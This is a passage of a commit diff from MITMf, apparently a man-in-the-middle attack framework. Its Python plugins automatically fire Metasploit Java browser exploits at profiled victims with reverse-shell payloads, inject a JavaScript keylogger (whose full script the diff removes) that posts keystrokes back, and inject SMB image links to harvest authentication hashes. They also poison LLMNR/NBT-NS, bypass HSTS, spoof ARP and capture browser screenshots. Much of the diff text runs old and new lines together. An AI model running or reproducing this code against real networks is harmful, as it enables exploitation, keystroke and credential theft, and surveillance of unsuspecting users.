mitmf_logger.info("{} >> sending commands to metasploit".format(vic_ip))
#Create a virtual console
console_id = self.msf.call('console.create')['id']
#write the cmd to the newly created console
self.msf.call('console.write', [console_id, cmd])
mitmf_logger.info("{} >> commands sent succesfully".format(vic_ip))
except Exception, e:
mitmf_logger.info('{} >> Error accured while interacting with metasploit: {}:{}'.format(vic_ip, Exception, e))
def pwn(self):
self.sploited_ips = list() #store ip of pwned or not vulnerable clients so we don't re-exploit
while True:
if (len(self.dic_output) > 0) and self.dic_output['java_installed'] == '1': #only choose clients that we are 100% sure have the java plugin installed and enabled
brwprofile = self.dic_output #self.dic_output is the output of the BrowserProfiler plugin in a dictionary format
if brwprofile['ip'] not in self.sploited_ips: #continue only if the ip has not been already exploited
vic_ip = brwprofile['ip']
mitmf_logger.info("{} >> client has java version {} installed! Proceeding...".format(vic_ip, brwprofile['java_version']))
mitmf_logger.info("{} >> Choosing exploit based on version string".format(vic_ip))
exploits = self.get_exploit(brwprofile['java_version']) # get correct exploit strings defined in javapwn.cfg
if exploits:
if len(exploits) > 1:
mitmf_logger.info("{} >> client is vulnerable to {} exploits!".format(vic_ip, len(exploits)))
exploit = random.choice(exploits)
mitmf_logger.info("{} >> choosing {}".format(vic_ip, exploit))
else:
mitmf_logger.info("{} >> client is vulnerable to {}!".format(vic_ip, exploits[0]))
exploit = exploits[0]
#here we check to see if we already set up the exploit to avoid creating new jobs for no reason
jobs = self.msf.call('job.list') #get running jobs
if len(jobs) > 0:
for k, v in jobs.iteritems():
info = self.msf.call('job.info', [k])
if exploit in info['name']:
mitmf_logger.info('{} >> {} already started'.format(vic_ip, exploit))
url = info['uripath'] #get the url assigned to the exploit
self.injectWait(self.msf, url, vic_ip)
else: #here we setup the exploit
rand_port = random.randint(1000, 65535) #generate a random port for the payload listener
rand_url = self.rand_url()
#generate the command string to send to the virtual console
#new line character very important as it simulates a user pressing enter
cmd = "use exploit/{}\n".format(exploit)
cmd += "set SRVPORT {}\n".format(self.msfport)
cmd += "set URIPATH {}\n".format(rand_url)
cmd += "set PAYLOAD generic/shell_reverse_tcp\n" #chose this payload because it can be upgraded to a full-meterpreter and its multi-platform
cmd += "set LHOST {}\n".format(self.msfip)
cmd += "set LPORT {}\n".format(rand_port)
cmd += "exploit -j\n"
mitmf_logger.debug("command string:\n{}".format(cmd))
self.send_command(cmd, vic_ip)
self.injectWait(rand_url, vic_ip)
else:
#this might be removed in the future since newer versions of Java break the signed applet attack (unless you have a valid cert)
mitmf_logger.info("{} >> client is not vulnerable to any java exploit".format(vic_ip))
mitmf_logger.info("{} >> falling back to the signed applet attack".format(vic_ip))
rand_url = self.rand_url()
rand_port = random.randint(1000, 65535)
cmd = "use exploit/multi/browser/java_signed_applet\n"
cmd += "set SRVPORT {}\n".format(self.msfport)
cmd += "set URIPATH {}\n".format(rand_url)
cmd += "set PAYLOAD generic/shell_reverse_tcp\n"
cmd += "set LHOST {}\n".format(self.msfip)
cmd += "set LPORT {}\n".format(rand_port)
cmd += "exploit -j\n"
self.send_command(cmd, vic_ip)
self.injectWait(rand_url, vic_ip)
sleep(1)

View file

@ -18,151 +18,54 @@
# USA # USA
# #
import logging import logging
import re
import random
import string
from plugins.plugin import Plugin from plugins.plugin import Plugin
from plugins.Inject import Inject from plugins.Inject import Inject
from core.sergioproxy.ProxyPlugins import ProxyPlugins
mitmf_logger = logging.getLogger("mitmf") mitmf_logger = logging.getLogger("mitmf")
class jskeylogger(Plugin): class jskeylogger(Inject, Plugin):
name = "Javascript Keylogger" name = "JSKeylogger"
optname = "jskeylogger" optname = "jskeylogger"
desc = "Injects a javascript keylogger into clients webpages" desc = "Injects a javascript keylogger into clients webpages"
version = "0.2" version = "0.2"
has_opts = False has_opts = False
def initialize(self, options): def initialize(self, options):
inject = Inject() Inject.initialize(self, options)
inject.initialize(options) self.html_payload = self.msf_keylogger()
inject.html_payload = self.msf_keylogger()
ProxyPlugins.getInstance().addPlugin(inject)
def clientRequest(self, request): def clientRequest(self, request):
#Handle the plugin output
if 'keylog' in request.uri: if 'keylog' in request.uri:
request.printPostData = False request.printPostData = False
client_ip = request.client.getClientIP()
raw_keys = request.postData.split("&&")[0] raw_keys = request.postData.split("&&")[0]
input_field = request.postData.split("&&")[1]
keys = raw_keys.split(",") keys = raw_keys.split(",")
del keys[0]; del(keys[len(keys)-1]) if keys:
del keys[0]; del(keys[len(keys)-1])
input_field = request.postData.split("&&")[1] nice = ''
for n in keys:
if n == '9':
nice += "<TAB>"
elif n == '8':
nice = nice[:-1]
elif n == '13':
nice = ''
else:
try:
nice += n.decode('hex')
except:
mitmf_logger.error("{} [JSKeylogger] Error decoding char: {}".format(request.client.getClientIP(), n))
nice = '' mitmf_logger.info("{} [JSKeylogger] Host: {} | Field: {} | Keys: {}".format(request.client.getClientIP(), request.headers['host'], input_field, nice))
for n in keys:
if n == '9':
nice += "<TAB>"
elif n == '8':
nice = nice.replace(nice[-1:], "")
elif n == '13':
nice = ''
else:
try:
nice += n.decode('hex')
except:
mitmf_logger.error("{} [{}] Error decoding char: {}".format(client_ip, self.name, n))
mitmf_logger.info("{} [{}] Host: {} Field: {} Keys: {}".format(client_ip, self.name, request.headers['host'], input_field, nice))
def msf_keylogger(self): def msf_keylogger(self):
#Stolen from the Metasploit module http_javascript_keylogger, modified to work in Android and IOS keylogger = open("./core/javascript/msfkeylogger.js", "r").read()
payload = """<script type="text/javascript"> return '<script type="text/javascript">\n' + keylogger + '\n</script>'
window.onload = function mainfunc(){
var2 = ",";
name = '';
function make_xhr(){
var xhr;
try {
xhr = new XMLHttpRequest();
} catch(e) {
try {
xhr = new ActiveXObject("Microsoft.XMLHTTP");
} catch(e) {
xhr = new ActiveXObject("MSXML2.ServerXMLHTTP");
}
}
if(!xhr) {
throw "failed to create XMLHttpRequest";
}
return xhr;
}
xhr = make_xhr();
xhr.onreadystatechange = function() {
if(xhr.readyState == 4 && (xhr.status == 200 || xhr.status == 304)) {
eval(xhr.responseText);
}
}
if (window.addEventListener) {
document.addEventListener('keypress', function2, true);
document.addEventListener('keydown', function1, true);
} else if (window.attachEvent) {
document.attachEvent('onkeypress', function2);
document.attachEvent('onkeydown', function1);
} else {
document.onkeypress = function2;
document.onkeydown = function1;
}
}
function function2(e)
{
srcname = window.event.srcElement.name;
var3 = (window.event) ? window.event.keyCode : e.which;
var3 = var3.toString(16);
if (var3 != "d")
{
andxhr(var3, srcname);
}
}
function function1(e)
{
srcname = window.event.srcElement.name;
id = window.event.srcElement.id;
var3 = (window.event) ? window.event.keyCode : e.which;
if (var3 == 9 || var3 == 8 || var3 == 13)
{
andxhr(var3, srcname);
}
else if (var3 == 0)
{
text = document.getElementById(id).value;
if (text.length != 0)
{
andxhr(text.toString(16), srcname);
}
}
}
function andxhr(key, inputName)
{
if (inputName != name)
{
name = inputName;
var2 = ",";
}
var2= var2 + key + ",";
xhr.open("POST", "keylog", true);
xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xhr.send(var2 + '&&' + inputName);
if (key == 13 || var2.length > 3000)
{
var2 = ",";
}
}
</script>"""
return payload

View file

@ -34,7 +34,7 @@ class Responder(Plugin):
name = "Responder" name = "Responder"
optname = "responder" optname = "responder"
desc = "Poison LLMNR, NBT-NS and MDNS requests" desc = "Poison LLMNR, NBT-NS and MDNS requests"
tree_output = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"] tree_info = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"]
version = "0.2" version = "0.2"
has_opts = True has_opts = True
@ -88,7 +88,32 @@ class Responder(Plugin):
LDAPServer().start(smbChal) LDAPServer().start(smbChal)
if options.analyze: if options.analyze:
self.tree_output.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned") self.tree_info.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned")
self.IsICMPRedirectPlausible(self.ourip)
def IsICMPRedirectPlausible(self, IP):
result = []
dnsip = []
for line in file('/etc/resolv.conf', 'r'):
ip = line.split()
if len(ip) < 2:
continue
if ip[0] == 'nameserver':
dnsip.extend(ip[1:])
for x in dnsip:
if x !="127.0.0.1" and self.IsOnTheSameSubnet(x,IP) == False:
self.tree_info.append("You can ICMP Redirect on this network. This workstation ({}) is not on the same subnet than the DNS server ({})".format(IP, x))
else:
pass
def IsOnTheSameSubnet(self, ip, net):
net = net+'/24'
ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16)
netstr, bits = net.split('/')
netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16)
mask = (0xffffffff << (32 - int(bits))) & 0xffffffff
return (ipaddr & mask) == (netaddr & mask)
def pluginReactor(self, strippingFactory): def pluginReactor(self, strippingFactory):
reactor.listenTCP(3141, strippingFactory) reactor.listenTCP(3141, strippingFactory)
@ -100,5 +125,6 @@ class Responder(Plugin):
options.add_argument('--fingerprint', dest="finger", default=False, action="store_true", help = "Fingerprint hosts that issued an NBT-NS or LLMNR query") options.add_argument('--fingerprint', dest="finger", default=False, action="store_true", help = "Fingerprint hosts that issued an NBT-NS or LLMNR query")
options.add_argument('--lm', dest="lm", default=False, action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier") options.add_argument('--lm', dest="lm", default=False, action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier")
options.add_argument('--wpad', dest="wpad", default=False, action="store_true", help = "Start the WPAD rogue proxy server") options.add_argument('--wpad', dest="wpad", default=False, action="store_true", help = "Start the WPAD rogue proxy server")
# Removed these options until I find a better way of implementing them
#options.add_argument('--forcewpadauth', dest="forceWpadAuth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False") #options.add_argument('--forcewpadauth', dest="forceWpadAuth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False")
#options.add_argument('--basic', dest="basic", default=False, action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned") #options.add_argument('--basic', dest="basic", default=False, action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned")

View file

@ -21,9 +21,8 @@
from core.utils import SystemConfig from core.utils import SystemConfig
from plugins.plugin import Plugin from plugins.plugin import Plugin
from plugins.Inject import Inject from plugins.Inject import Inject
from core.sergioproxy.ProxyPlugins import ProxyPlugins
class SMBAuth(Plugin): class SMBAuth(Inject, Plugin):
name = "SMBAuth" name = "SMBAuth"
optname = "smbauth" optname = "smbauth"
desc = "Evoke SMB challenge-response auth attempts" desc = "Evoke SMB challenge-response auth attempts"
@ -33,10 +32,8 @@ class SMBAuth(Plugin):
def initialize(self, options): def initialize(self, options):
self.target_ip = SystemConfig.getIP(options.interface) self.target_ip = SystemConfig.getIP(options.interface)
inject = Inject() Inject.initialize(options)
inject.initialize(options) self.html_payload = self._get_data()
inject.html_payload = self._get_data()
ProxyPlugins.getInstance().addPlugin(inject)
def _get_data(self): def _get_data(self):
return '<img src=\"\\\\%s\\image.jpg\">'\ return '<img src=\"\\\\%s\\image.jpg\">'\

View file

@ -27,12 +27,12 @@ from core.sslstrip.URLMonitor import URLMonitor
from core.dnschef.DNSchef import DNSChef from core.dnschef.DNSchef import DNSChef
class HSTSbypass(Plugin): class HSTSbypass(Plugin):
name = 'SSLstrip+' name = 'SSLstrip+'
optname = 'hsts' optname = 'hsts'
desc = 'Enables SSLstrip+ for partial HSTS bypass' desc = 'Enables SSLstrip+ for partial HSTS bypass'
version = "0.4" version = "0.4"
tree_output = ["SSLstrip+ by Leonardo Nve running"] tree_info = ["SSLstrip+ by Leonardo Nve running"]
has_opts = False has_opts = False
def initialize(self, options): def initialize(self, options):
self.options = options self.options = options

53
plugins/Screenshotter.py Normal file
View file

@ -0,0 +1,53 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import logging
import base64
from datetime import datetime
from plugins.Inject import Inject
from plugins.plugin import Plugin
mitmf_logger = logging.getLogger('mitmf')
class ScreenShotter(Inject, Plugin):
name = 'ScreenShotter'
optname = 'screen'
desc = 'Uses HTML5 Canvas to render an accurate screenshot of a clients browser'
ver = '0.1'
has_opts = False
def initialize(self, options):
Inject.initialize(self, options)
self.html_payload = self.get_payload()
def clientRequest(self, request):
if 'saveshot' in request.uri:
request.printPostData = False
img_file = './logs/{}-{}-{}.png'.format(request.client.getClientIP(), request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))
with open(img_file, 'wb') as img:
img.write(base64.b64decode(request.postData[30:] + '=='))
img.close()
mitmf_logger.info('{} [ScreenShotter] Saved screenshot to {}'.format(request.client.getClientIP(), img_file))
def get_payload(self):
canvas = open("./core/javascript/screenshot.js", "rb").read()
return '<script type="text/javascript">' + canvas + '</script>'

View file

@ -32,7 +32,6 @@ class Spoof(Plugin):
name = "Spoof" name = "Spoof"
optname = "spoof" optname = "spoof"
desc = "Redirect/Modify traffic using ICMP, ARP, DHCP or DNS" desc = "Redirect/Modify traffic using ICMP, ARP, DHCP or DNS"
tree_output = list()
version = "0.6" version = "0.6"
has_opts = True has_opts = True
@ -63,7 +62,7 @@ class Spoof(Plugin):
arpwatch = ARPWatch(options.gateway, self.myip, options.interface) arpwatch = ARPWatch(options.gateway, self.myip, options.interface)
arpwatch.debug = debug arpwatch.debug = debug
self.tree_output.append("ARPWatch online") self.tree_info.append("ARPWatch online")
self.protocolInstances.append(arpwatch) self.protocolInstances.append(arpwatch)
arp = ARPpoisoner(options.gateway, options.interface, self.mymac, options.targets) arp = ARPpoisoner(options.gateway, options.interface, self.mymac, options.targets)

View file

@ -8,10 +8,11 @@ import logging
mitmf_logger = logging.getLogger('mitmf') mitmf_logger = logging.getLogger('mitmf')
class Plugin(ConfigWatcher, object): class Plugin(ConfigWatcher, object):
name = "Generic plugin" name = "Generic plugin"
optname = "generic" optname = "generic"
desc = "" tree_info = list()
has_opts = False desc = ""
has_opts = False
def initialize(self, options): def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace''' '''Called if plugin is enabled, passed the options namespace'''

View file

@ -4,10 +4,7 @@ scapy
msgpack-python msgpack-python
dnspython dnspython
dnslib dnslib
user-agents
configobj configobj
pyyaml
ua-parser
Pillow Pillow
pefile pefile
ipy ipy
@ -16,4 +13,4 @@ service_identity
watchdog watchdog
impacket impacket
capstone capstone
pypcap pypcap